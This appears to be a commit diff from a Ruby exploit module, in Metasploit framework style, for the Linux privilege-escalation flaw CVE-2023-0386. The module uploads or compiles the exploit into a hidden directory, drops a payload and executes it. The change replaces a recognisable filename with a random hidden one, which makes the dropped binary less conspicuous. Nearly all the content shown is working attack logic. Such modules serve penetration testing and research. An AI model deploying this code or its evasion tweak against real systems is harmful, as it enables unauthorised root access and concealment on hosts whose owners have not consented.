@@ -111,16 +111,17 @@ def exploit
111
111
112
112
# Upload exploit executable
113
113
exploit_dir = "#{ base_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
114
+ exploit_path = "#{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
114
115
115
116
mkdir ( exploit_dir )
116
117
register_dir_for_cleanup ( exploit_dir )
117
118
118
119
if live_compile?
119
120
vprint_status ( 'Live compiling exploit on system...' )
120
- upload_and_compile ( "#{ exploit_dir } /cve-2023-0386 " , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'exploit.c' ) ) , '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread' )
121
+ upload_and_compile ( "#{ exploit_path } " , strip_comments ( exploit_source ( 'CVE-2023-0386' , 'exploit.c' ) ) , '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread' )
121
122
else
122
123
vprint_status ( 'Dropping pre-compiled exploit on system...' )
123
- upload_and_chmodx ( "#{ exploit_dir } /cve-2023-0386 " , exploit_data ( 'CVE-2023-0386' , 'cve-2023-0386' ) )
124
+ upload_and_chmodx ( "#{ exploit_path } " , exploit_data ( 'CVE-2023-0386' , 'cve-2023-0386' ) )
124
125
end
125
126
126
127
# Upload payload executable
@@ -131,7 +132,7 @@ def exploit
131
132
132
133
# Launch exploit
133
134
print_status ( 'Launching exploit...' )
134
- cmd_string = "#{ exploit_dir } /cve-2023-0386 #{ payload_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
135
+ cmd_string = "#{ exploit_path } #{ payload_path } #{ exploit_dir } /.#{ rand_text_alphanumeric ( 5 ..10 ) } "
135
136
vprint_status ( "Running: #{ cmd_string } " )
136
137
begin
137
138
output = cmd_exec ( cmd_string , nil , datastore [ 'TIMEOUT' ] )
0 commit comments